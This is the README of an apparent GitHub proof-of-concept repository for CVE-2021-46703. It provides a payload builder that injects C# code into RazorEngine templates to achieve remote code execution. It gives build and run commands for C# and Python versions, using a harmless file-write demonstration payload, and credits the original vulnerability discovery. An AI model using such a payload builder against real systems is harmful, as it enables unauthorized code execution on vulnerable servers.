BenEdridge / CVE-2021-46703

Simple payload builder

CVE-2021-46703

Simple payload builder based on POC in: Antaris/RazorEngine#585

Usage

C#

dotnet build --configuration Release
.\bin\Release\net4.8\Poc.exe "System.IO.File.WriteAllText(\"rce.txt\", \"Hello World\");"

Python

./poc.py "System.IO.File.WriteAllText(\"rce.txt\", \"Hello World\");"

Acknowledgements

• https://www.yielddd.com/about-us/discovery-of-a-critical-open-source-vulnerability-cve-2021-46703